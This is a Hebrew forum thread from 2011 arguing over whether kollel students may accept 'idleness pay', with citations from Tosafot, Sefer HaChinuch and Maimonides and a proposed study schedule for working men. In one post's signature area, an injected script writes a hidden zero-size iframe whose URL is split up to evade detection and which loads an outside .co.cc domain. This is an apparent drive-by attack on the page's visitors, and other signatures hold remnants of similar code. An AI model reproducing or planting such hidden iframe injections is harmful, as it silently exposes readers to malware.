|
|
| נשלח ב-15/3/2011 00:14 |
 |
| |
אש
תודה על דבריך. לצערי לא הבנתי את התשובה ואולי תחזור.
ציינתי שהרעיון של שכר בטלה עומד על כמה רכיבים.
א. מי זה שמגיע לו השכר.
ב. מה התפקיד שנטל על עצמו.
ג. מה התפקיד שהפסיד ולכן מגיע לו פיצוי, וכמה.
ד. מי הוא זה שאמור לשלם לו.
ה. מה ההצדקה לקבלת התשלום הזה.
אם אנתח את מה שכתבתי ולמה שהסכמת, תוכל לראות מה חסר עדיין במבנה הזה.
א. מי הוא זה שמגיע לו - כל מי שנקרא אברך כי הוא יושב רק בכולל ולומד.
ב. התפקיד הוא ללמוד תורה. ולא על מנת להורות או לפסוק או לכתוב אלא רק לעסוק בתורה.
ג. כל מקצוע שיכול היה האברך ללמוד ולהרויח ממנו. כמה? לפי מה שמרויחים באותו תחום, כנראה.
ד. מי אמור לתת? באמת מי? זה לא הבנתי ולא מצאתי תשובה בדבריך.
ה. מה ההצדקה - גם זה לא מצאתי בדבריך. כאשר אדם משיב אבידה, הוא רוצה לקבל תמורה מבעל האבידה וההצדקה היא שהוא נעשה כשכירו לאותה שעה ורוצה שכר. כאשר אדם יושב בדין עבור אחרים, הוא זכאי לפי הגמרא לתבוע מהם שיעמידו פועל שיחליף אותו במלאכתו, והם הנתבעים והעילה היא שביטל עבודתו עבורם. במקרה דנן, מי הם אלו שנהנים או אמורים להנות מלימודו של האברך? והאם אפשר לחייבם בלא דעתם והסכמתם לתת? ועוד: כמה מגיע לאברך, כאשר לכל אחד יש מקצוע אחר שיכול היה להצליח בו, אם יכול היה להצליח במשהו, ועוד שבשתי הדוגמאות של משיב אבידה ושואב מים שישב בדין יש לנו עבודה ידועה לאותו אדם ושכרו נקוב וקבוע, אך מה נגיד במי שאפילו לא למד מקצוע וטענתו שיכול היה ללמוד. מי אומר שהוא צודק? מי אומר שהיה מוצא עבודה?
כל אלו שאלות שנותרו בעיני ללא תשובה. ואין לי אלא להניח שלא אמר רשז"א את הדברים אלא בדרך מליצה כדי להצדיק נטילת כסף בכוללים. וכן יש לומר שלא התכוון שמגיע כסף, אלא שיש היתר לקחת מה שמוכנים לתת, ממי שמוכן לתת, אך אין חובה לאחרים שיתנו לו כי מי יחייבם.
אם יש לך הבנות אחרות, אשמח אם תשתפני בהן.
ד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-15/3/2011 00:39 |
|
| |
| הערליכער כתב: |  | | ב. תדגים לנו בבקשה סדר יום של עובד לומד יותר משעתיים ?!?! |
|
פשוט מאוד, אחרי או אפי' לפני החתונה ללמוד בערבים מקצוע, (החובה על אביו לפי השקפת חז"ל)
גומר את היום בחמש, הולך לאכול לישון עד שמונה\תשע, ומתישב בכולל ללמוד עד 12
בימי שישי אין עבודה, בשבתות\וחגים יש מינימום שבע שעות,
(הוא פטור מתפילות כי יש שבט לוי שמתפללים בשבילו, אז יכול הוא ללמוד גם לפני העבודה שעה,)
בגיל שישים יש פנסיה, ולכן יכול הוא ללמוד כל היום בכוללים עד גיל 90
יוצא לך שהאיש למד בכולל שלושים שנה כל היום, וארבעים שנה חצי יום, והרוחנו שלמד גם בשבתות וחגים כי הוא עובד,
מה הרווח הגדול ?! שהוא לומד לשמה לקיים,
ולא לשם מילמול מילים,
והיודעי חן יודעים לומר שיש להם יותר הצלחות בלימוד והבנת הלימוד,
כי מי שמתנסה בחיים ?! מבין יותר את הטכני של ההלכות,
אני כל פעם מחדש מתפוצץ מצחוק מאלה שמדברים ומסבירים מלאכות שבת למשל, בזמן שיש להם עוד ידים של תינוק חלק ומבריק,
כל התורה מתברר לעובדים במציאות החיים, מה שאין כן מי שלא עבד מימיו,
_________________
|
|
|
|
| נשלח ב-15/3/2011 00:58 |
|
| |
מקסמן
אני מוסיף על דבריך:
א. הנסיון מעיד כי אלו שלומדים חלק מהיום מעריכים יותר את הלימוד ולכן משקיעים יותר. כמובן איני מתייחס לבני עליה ויחידי סגולה בין האברכים, אולם חוששני שחלקם משקיע ומפיק פחות מאשר בעל הבית שעוסק בתורה בקביעות לאחר העבודה.
ב. מי שילמד לפי תוכנית סדורה יפיק הרבה יותר מאשר מי שלומד גמרא לפי הסדר, ומקדיש את רוב הזמן לאחרונים, בלי לחפש הלכה למעשה. מרוב שיטות ודיונים לא נשאר לו הרבה. (וכבר צעקו על זה אחרונים ואחרוני אחרונים).
ג. תוכנית לימוד קצרצרה למעשה:
1. משנה עם קהתי.
2. דף ליום גמרא שוטנשטיין עם רמב"ם.
3. לימוד של הטור עם הב"י על הסדר תוך אבחנה בין דאורייתא, דרבנן, ספקות, חומרות ומנהגים.
4. לימוד קבוע של ערוך השולחן ואפשר לדלג על סעיפים מורכבים, מחלוקות רחוקות וחומרות. זה אומר ללמוד בערך רבע עד שליש מכל סימן.
5. תירגול של הסקת מסקנות מסוגיה תוך השוואה לרמב"ם (ולמאירי).
6. עיון מקרי בשעות הפנאי בשו"תים שהתפרסמו בהבנה ישרה. לקרוא את השאלה, לחשוב לבד, לחשוב על המקורות ולנתחם, ולהשוות לפסק שנשאר למעשה.
כמה זמן זה לוקח?
משניות קהתי - עד 20 דקות.
דף יומי שוטנשטיין עם הערות - שעה עד שעתיים.
טור ב"י - 30 דקות? תלוי בגודל הסימן. אפשר לחלק סימן לחלקים.
ערוך השולחן, שוב תלוי בגודל הסימן. אם מדלגים על דיונים "רחוקים, כמחצית השעה.
סעיפים 5 ו6 הם לשבת או ליום ששי או לסיכום סוגיה ונושא.
הזמנים שכתבתי הם משוערים ואולי צריך להכפילם עבור מי שפחות מוכשר או מי שבקיא פחות. אבל מדובר בתוכנית לשנים של עבודה. התוצאות נראות כמובן כבר לאחר שנה שנתיים. ובמקרים מסויימים, אם עושים תוכנית נבונה של גמרא (לא לפי הדף היומי, ואולי תוך דילוג על דיונים שאינם מעשיים, ומניחים אותם ל"סיבוב הבא") יש הישגים משמעותיים כבר לאחר כמה חודשים. ידע ראשוני רב ברוב הנושאים ההלכתיים של אורח חיים.
צריך מן הסתם להכין תוכנית יותר מפורטת. אלא שאין בידי כרגע.
נשכחה מילה... והושלמה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 15/03/2011 01:00:01
|
|
|
|
|
| נשלח ב-15/3/2011 08:54 |
|
| |
והנה תגובה נוספת
|
|
|
|
| נשלח ב-15/3/2011 09:49 |
|
| |
| מיימוני כתב: | | אש
א. מי הוא זה שמגיע לו - כל מי שנקרא אברך כי הוא יושב רק בכולל ולומד.
שאלותייך אכן מעניינות ומחכימות
האברך כעיקרון הנוטל את שכרו הוא לסיבת היותו בטל ממלאכה כשהוא עוסק בללמוד או ללמוד כמאמר רבי יוחנן: איזה תלמיד חכם שבני עירו מצווין לעשות לו מלאכתו? - זה שמניח חפצו - ועוסק בחפצי שמים. כלומר אם הוא בעל חנות או משרד וכדומה וסוגרו בכדי ללכת ללמוד. ואף אם אינו כן, רק שכעת מוכח שבטל ממלאכתו לצורך הלימוד, שהרי היה יכול להיות בעל חנות וכיצ"ב.
רעיון זה ניתן לדלות גם מדברי התוספות (בכורות דף כט ע"א ד"ה: מה) "ומה שנוהגין עכשיו ללמוד תורה בשכר, אם אין לו במה להתפרנס שרי, ואפילו יש לו - אם הוא שכר בטילה דמוכח שמניח כל עסקיו ומשא ומתן שלו, מסתבר דחשיב בטלה דמוכח". וכך נפסק להלכה בשו"ע (יו"ד רמו): "...ואפילו יש לו, אם מוכח שהוא שכר בטלה, שעוזב את כל עסקיו ומשאו ומתנו, מותר"" אם כן הגדרתה של "שכר בטלה", שאני כאברך יכול הייתי להתפרנס ממקצוע אחר, אך אני מבטל את עסקי האחרים לטובת התעסקותי בלימוד, ולכן מותר לי לקבל 'שכר בטלה' כפיצוי על העסקים שהנחתי.
הדברים מתפרשים שהשכר הוא לא על הלימוד תורה כי אין לו מחיר! יקרה היא מפנינים וכל חפצים לא ישוו בה, ולכן אין גם שיעור לשכרן של עמלי תורה.והשכר שהוא מקבל הוא רק כר בשביל מניעת הריווח - ובטלתו הוא מגשמי לגשמי. ג. כל מקצוע שיכול היה האברך ללמוד ולהרויח ממנו. כמה? לפי מה שמרויחים באותו תחום, כנראה.
ד. מי אמור לתת? באמת מי? זה לא הבנתי ולא מצאתי תשובה בדבריך.
על גודל השכר העצום של התמיכה בת"ח אין כאן מקומו לכתוב ולהאריך, מה שכן אפשר לומר לאור החשיבות הרבה שרבים רואים בכך ומרגישים רצון חזק ונועז ליטול חלק בזה, לכן הוא תמיכה הבאה מן הציבור, כידוע שחלק גדול בא מן הנדיבים החפצים לזכות במצוה. וכמו שכתבת לעיל בודאי שאין חיוב על פלוני לתת כסף אך אלו אשר כן חפצים הרי שאין איסור בדבר...
ה. מה ההצדקה - גם זה לא מצאתי בדבריך.
אנו תומכים בת"ח כמו שהקב"ה ציוה לתמוך בהם ובלויים שכיום הת"ח הם המורים לעם את הדרך כמו הנ"ל. ומה גם שמספיק שאדם זה עשוי לגדול ולהתעלות, ובסופו של דבר יהנו אף מתלמודו, ויוכלו לשאלו וללמוד ממנו ואולי אף יהנו ממנו עצה ותושיה.
ויש להוסיף את אש"כ לעיל כי מה גרע חלקם מאנשי מדע שזוכים לתמיכה רחבה מאד.
מה נגיד במי שאפילו לא למד מקצוע וטענתו שיכול היה ללמוד. מי אומר שהוא צודק? מי אומר שהיה מוצא עבודה?
בזה יש נפ"מ האם בהתר של שכר בטלה צריכים שיהיה בטלה דמוכח בדוקא או אף שכר בטלה דלא מוכח שרי . שכן אם נאמר שמותר אף בטלה דלא מוכח וע"ז אמרו שמותר יוצא שהוא אף יותר מכדי פרנסתו. ובמקרה זה שוב לא יהיה נ"מ האם אברך הוא בגדר בטלה דמוכח שהרי אף אם אינו מוכח מותר לו לקבל יותר מכדי פרנסתו._________________ |
|
תוקן על ידי אש2618 ב- 15/03/2011 09:52:35
|
|
|
|
| נשלח ב-15/3/2011 10:44 |
|
| |
אנו תומכים בת"ח כמו שהקב"ה ציוה לתמוך בהם
אולי תאיר את עיני איפה הקב"ה ציוה את זאת? או שזו המצאה של התלמידי חכמים של ימנו ,כי כאמור הרמב"ם לא הכיר את הציווי הזה של ה', להפך- הוא אמר את ההפך, ראה מה שהוא כתב בחריפות רבה נגד זה בפ' המשניות, א
הסירוסים והשימוש בדברי ה' קלה בעייניכם- ועל זה נאמר לא תישא שם ה' אלוקיך לשווא, ואין לך נשיאת שמו לשוא גדול מזה,
|
|
|
|
| נשלח ב-15/3/2011 10:50 |
|
| |
מחיקה זו מבטאת מינימום סובלנות להתקפות אישיות
תוקן על ידי מנהלי_משנה ב- 16/03/2011 06:46:58
|
|
|
|
| נשלח ב-15/3/2011 15:43 |
|
| |
| ירוחםשמ כתב: | |
אולי תאיר את עיני איפה הקב"ה ציוה את זאת? או שזו המצאה של התלמידי חכמים של ימנו , |
|
בספר החינוך מצוה תנ. כותב: "הוזהרנו שלא לעזוב הלוים ולא נתרשל מהשלים להם חוקם, כלומר שלא נשהה להם מעשרותם, וכל שכן ברגלים שאנו מוזהרין עליהן ביותר כדי לשמחן במועד, ועל זה נאמר, "השמר לך פן תעזוב את הלוי כל ימיך על אדמתך". וממשיך בדבריו אלו על מקור חיוב החזקת ת"ח: "ובמצוה הזאת יש ללמוד לכל מבין לסעוד ולהטיב אל כל המשתדלים תמיד בחכמת התורה כי הם המעמידים דת האמת ומחזקים האמונה, מרבים שלום בעולם, ואוהבים הבריות ושמחים בישוב המדינה. בצדק יחזו פנימו כל הצריך חנינה, ואין להם פנאי לשוטט בחוצות אחר מחיתם הנה והנה, על כן המרחמם ומבקש תועלתם ירוחם מן השמים".
|
|
|
|
|
| נשלח ב-15/3/2011 15:52 |
|
| |
אפשר לקרא לדברי החינוך המלצה אבל לא דברי ה', כי הוא לא כותב ולא יכל לכתוב דברים מפי ה' כשרבו כתב כך.
פירוש המשנה לרמב"ם מסכת אבות פרק ד דע, כי זה כבר אמר: אל תעשה התורה קרדום לחפור בה, כלומר: אל תחשבה כלי לפרנסה, ובאר ואמר שכל מי שיהנה בזה העולם בכבוד תורה שהוא כורת נפשו מחיי העולם הבא. והעלימו בני אדם עיניהם מזו הלשון הגלויה, והשליכוה אחרי גוום, ונתלו בפשטי מאמרים שלא הבינום - אני אבארם - והטילו להם חוקים על היחידים ועל הקהילות, ועשו את המינויים התוריים לחוק מכסים, והביאו בני אדם לסבור שטות גמורה, שזה צריך ומחוייב, לעזור לחכמים ולתלמידים ולאנשים העוסקים בתורה ותורתן אומנותן. וכל זה טעות, אין בתורה מה שיאמת אותו, ולא רגל שישען עליה בשום פנים. לפי שאנו אם נעיין בתולדות החכמים, זכרם לברכה, לא נמצא אצלם לא הטלת חובות על בני אדם, ולא קיבוץ ממון לישיבות המרוממות הנכבדות, ולא לראשי גלויות ולא לדיינין ולא למרבצי תורה ולא לאחד מן הממונים ולא לשאר האנשים, אלא נמצא קהילותיהם כולן יש בהם עני בתכלית, ועשיר רב הממון בתכלית, וחלילה לה' שאומר שהם לא היו גומלי חסד ונותני צדקה, אלא זה העני אילו פשט ידו לקחת היו ממלאים ביתו זהב ומרגליות, אבל הוא לא היה עושה כן, אלא מסתפק במלאכה שיתפרנס ממנה, בין ברווח בין בדוחק, ובז למה שבידי בני אדם, הואיל והתורה מנעתו מזה. וכבר ידעת כי הלל הזקן היה חוטב, והיה חוטב עצים ולומד לפני שמעיה ואבטליון, והוא בתכלית העניות, ומעלתו - עד כי תלמידיו הם אשר הושוו למשה ויהושע, וקטן תלמידיו רבן יוחנן בן זכאי. ולא יסופק לבר דעת שאילו היה מסכים לקבל מבני דורו, לא היו מניחים אותו לחטוב עצים. וחנינה בן דוסא, אשר קול קורא עליו:
אפשר לקרא את ההמשך במקור
תוקן על ידי ירוחםשמ ב- 15/03/2011 15:57:40
|
|
|
|
|
| נשלח ב-15/3/2011 15:57 |
|
| |
אברך ממוצע הוא ״ בטלן שכיר״...
_________________
|
|
|
|
| נשלח ב-15/3/2011 19:51 |
|
| |
| אש2618 כתב: | | הדברים מתפרשים שהשכר הוא לא על הלימוד תורה כי אין לו מחיר! יקרה היא מפנינים וכל חפצים לא ישוו בה, ולכן אין גם שיעור לשכרן של עמלי תורה.והשכר שהוא מקבל הוא רק כר בשביל מניעת הריווח - ובטלתו הוא מגשמי לגשמי.
פשוט כי אסור, כי יכולים בשם האלוקים לגנוב כסף מאחרים, ולכן דאגו חכמינו לאסור להנות מהתורה,
בדיוק את התירוצים שלך חכמינו רצו למנוע,
על גודל השכר העצום של התמיכה בת"ח אין כאן מקומו לכתוב ולהאריך,
אתה הגזבר של אלוקים ?? מנין לך השטויות האלה, כל זמן שתלמידי החכמים עסקו בלעזור לזולת היית נכון לעשות זאת, אבל כהיום שהם רק בונים לעצמם מעמד ציבורי ורק כל היום עושים גזירות חדשים ומחרימים כל מי שלא חושב כמוהם, ורודפים את העובדים לפרנסתם השקפתית וחברתית,
אין שום מצווה לתמוך בהם להפך עבירה היא לתמוך בהם, ראה אשכול זה, מכתב אישי לרועי ישראל-גדוילים\רבנים\מנהלים\עסקנים
מה שכן אפשר לומר לאור החשיבות הרבה שרבים רואים בכך ומרגישים רצון חזק ונועז ליטול חלק בזה, לכן הוא תמיכה הבאה מן הציבור, כידוע שחלק גדול בא מן הנדיבים החפצים לזכות במצוה. וכמו שכתבת לעיל בודאי שאין חיוב על פלוני לתת כסף אך אלו אשר כן חפצים הרי שאין איסור בדבר...
יש איסור עקרוני להרוויח מתורה, כי אפשר לגזול בגניבת דעת שכביכול אלוקים ישלם לו בחזרה ולא היא, פשוט אלוקים לא משלם, להפך הוא צריך את עזרתינו לשלם, ולכן רק מה שאמר רלוונטי לעשות בלי לקבל שכר כלל, כי הוא לא משלם נקודה,
אנו תומכים בת"ח כמו שהקב"ה ציוה לתמוך בהם ובלויים שכיום הת"ח הם המורים לעם את הדרך כמו הנ"ל. ומה גם שמספיק שאדם זה עשוי לגדול ולהתעלות, ובסופו של דבר יהנו אף מתלמודו, ויוכלו לשאלו וללמוד ממנו ואולי אף יהנו ממנו עצה ותושיה
כאמור אלוקים לא צווה כלל זה שקר גמור אין היום מעשר כספים אפי' מעשר אמיתי לא נותנים ללוי רק משמידים אותם,
לגבי עצה ותושיה ?! יש היום פסיכולוגים בשכר,
ויש להוסיף את אש"כ לעיל כי מה גרע חלקם מאנשי מדע שזוכים לתמיכה רחבה מאד.
כי יש לאנושות מהם הרבה בכל התכומים, מה שאין כן מי מילמול מילים סתם,
|
|
|
|
|
|
|
| נשלח ב-15/3/2011 20:47 |
|
| |
ריבונו של עולם כמה שאני שונאה את הדעות האלה,
למה יש בכלל בית דין לדיני ממון בזמן שהדיין יכול לשכנע את הצדדים שאם יוותרו האלוקים ישלם להם,
הרי בשביל מה לתבוע את הזולת בזמן שבוויתורי האלוקים ישלם לי שכר גדול מאוד,
מתי אלוקים האדירים כבר תשמיד את נביאי השקר מהעולם, מתי ריבונו של עולם ?????????
היית לי מקרה כזה בבית דין לממון,
והדיין ידע והכיר את יכולתי לוותר, ולכן הציע לי בצד אולי אני יוותר,
מיד כתבתי לצד השני שיק על כל התביעה המטורפת שלהם,
ואחרי ששלמתי נתתי שם נאום שהדיינים לא ישכחו לעולם,
צטטי את הפסוק בתורה "לא תַעֲשׂוּ עָוֶל בַּמִּשְׁפָּט לא תִשָּׂא פְנֵי דָל וְלא תֶהְדַּר פְּנֵי גָדוֹל בְּצֶדֶק תִּשְׁפּט עֲמִיתֶךָ" אומר רש"י הקדוש בשם חז"ל לא תשא פני דל - שלא תאמר עני הוא זה והעשיר חייב לפרנסו, אזכנו בדין, ונמצא מתפרנס בנקיות:
ושאלתי הגדולה היא למה באמת לא, הרי במילא העשיר חייב לתת צדקה,
ועוד ?! הרי אלוקים מדבר כאן והוא בוודאי יכול להבטיח לו שכר על הוויתור, אז למה אלוקים לא עשה זאת ?
למה דרש צדק ומשפט ??
ועוד הרי כבוד הדיינים אתם בוודאי יכולים להבטיח לי בשמו של האלוקים שישלם לי בחזרה ובגדול,
נכון שמצפונכם דיי בסדר 1, כי כהיום אין דין רק בורר, 2, כי יש לי לתת,
אז למה שילמת ? הם שואלים אותי !
אני: כי לא תחשבו שיש לי עין צרה לתת, אבל אתם מועלים בתפקידכם,
יש כלל הגיוני ידוע "שמנהג מונית לא מבקשים טרמפ" כי זה פרנסתו, ולא מבקשים לינה מבית מלון חינם, כי זה פרנסתו,
ולא מבקשים מבעל מסעדה אוכל חינם כי זה פרנסתו, ולא רק זה ?! אסור להכניס אוכל מבחוץ וצריך דווקא לקנות אצלו אוכל,
אבל אפשר לבקש מנהג מונית צדקה לאוכל, ואפשר לבקש מבעל מלון צדקה לקחת מונית הביתה, וכו' וכו'
אבל לא זה העניין שלי להטיף לכם מוסר,
אבל שתדעו רק שכל יורו\שקל = זיעה של אדם שעמל עליו,
ואלוקים יודע זאת ולכן אמר לעשות צדק ומשפט, שמדובר בכסף\דם ?! אין להבטיח שקרים ועוד בשם האלוקים, שמוכרח מדבריו שהוא לא משלם בחזרה, אחרת ?! שאלותי הנ"ל זועקים לשמים, למה האלוקים אמר לא תשא פני דל ?? הרי להפך ואדרבה שהעשיר יוותר לעני,
וצטטי את ספר החינוך הזה שלא להתנבאות בשקר שנמנענו שלא להתנבא בשקר, כלומר שלא יאמר שום אדם שנאמרו לו דברים בנבואה מהשם והשם לא אמרם,
משרשי המצוה לפי שיהיה בזה חורבן גדול ורעה רבה בדתנו המקודשת והשלמה, כי עיקר האמת מבלי סיג המגיע אל בני אדם הוא על ידי הנביאים, והתורה תצונו להאמין בהם וללכת אחר עצתם הנכונה ודעתם השלם, ועל כן בקום בני בליעל לאמר דברים שלא ציום השם יוציאו לעז בנבואה שהיא העיקר הגדול אשר בינינו עם הקודש, ויפקפק בסיבתם לב כל העם אף בנביאי האמת. ואם יאמר אדם גם כן מה שנצטוה אדם אחר עליו יש בזה חורבה גדולה, כי האיש הזה באמרו שהוא נביא ונצטוה בזה ונראה דבריו מתקיימין כדברי נביאי האמת, נחזיק אותו כאיש אלהים קדוש שליח האל ונאמין אליו ונקח ראיה בכל הנהגותינו ממעשיו, ואולי אחר שאין זכותו וענינו גדול להיות הוא שליח באותה נבואה שאמר איננו ראוי לסמוך בו בכל אשר יעשה ויאמר ויטעה ההמון בלכתם אחר עצתו.
וצטטי אפי' את הגהות מיימוניות הלכות עבודת כוכבים פרק ה הלכה ח
[א] כתב רא"מ הלכך יזהר אדם שלא יאמר אפילו דרך חוכא ושחוק הקב"ה אמר לי כך, ולפי שראיתי בני אדם אומרים כך ואין מרגישים שעון הדבר כתבתי, עכ"ל:
|
|
|
|
|
| נשלח ב-15/3/2011 22:34 |
|
| |
מקסמן
ניכרים דברי אמת והיוצא מן הלב נכנס ללב.
רק אעיר על דבריך שהקשר שלהם לנושא של אש רופף. שם, במקרה שלך, ביקשו ממך לוותר על כסף שכנראה מגיע לך. כאן מדובר לבקש מאחרים שיתנו למען מטרה טובה, אם גם לא ראויה לדעתי לשם "צדקה" ברוב המקרים.
וכאן, אלו שמבטיחים בשם האלקים שישולם שכר לנותן ללומד תורה, ראשית יתכן שהם צודקים, ויש להם מקורות שצוטטו לעיל, ושנית, גם אם נאמר שהם טועים, הם אינם משקרים ולא מתבדחים אלא רק טועים בהבנת המקורות ובשיקול הדעת.
וטעויות אין מוחים בצעקות אלא בהסבר, ודווקא הסבר כזה שנכנס ללב ומשכנע. לא די שיהיה אמיתי אלא שיהיה מתקבל. (איקון פורש ידים לשמים).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-15/3/2011 22:36 |
|
| |
אש
הנקודה המרכזית שמצאתי בדבריך ושימחתני היא שאין חובה על שום אדם לתת כסף לאברכים. אי אפשר לחייב לתת. כל מה שיש הוא זכות לקבל שעוקפת את האיסור שמצוי בדברי הרמב"ם.
ובזה ניחא לי. מי שרוצה לשבת ללמוד, מדוע לא לעזור לו. אבל חובה אין.
ואילו הנושא של כיצד מתכננים סדר לימוד יעיל ומקדם ראוי לדיון בפני עצמו בעז"ה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-15/3/2011 22:47 |
|
| |
| מיימוני כתב: | | מקסמן
וטעויות אין מוחים בצעקות אלא בהסבר, ודווקא הסבר כזה שנכנס ללב ומשכנע. לא די שיהיה אמיתי אלא שיהיה מתקבל. (איקון פורש ידים לשמים) |
|
דברי פי חכם חן
תוקן על ידי אש2618 ב- 15/03/2011 22:53:37
|
|
|
|
|
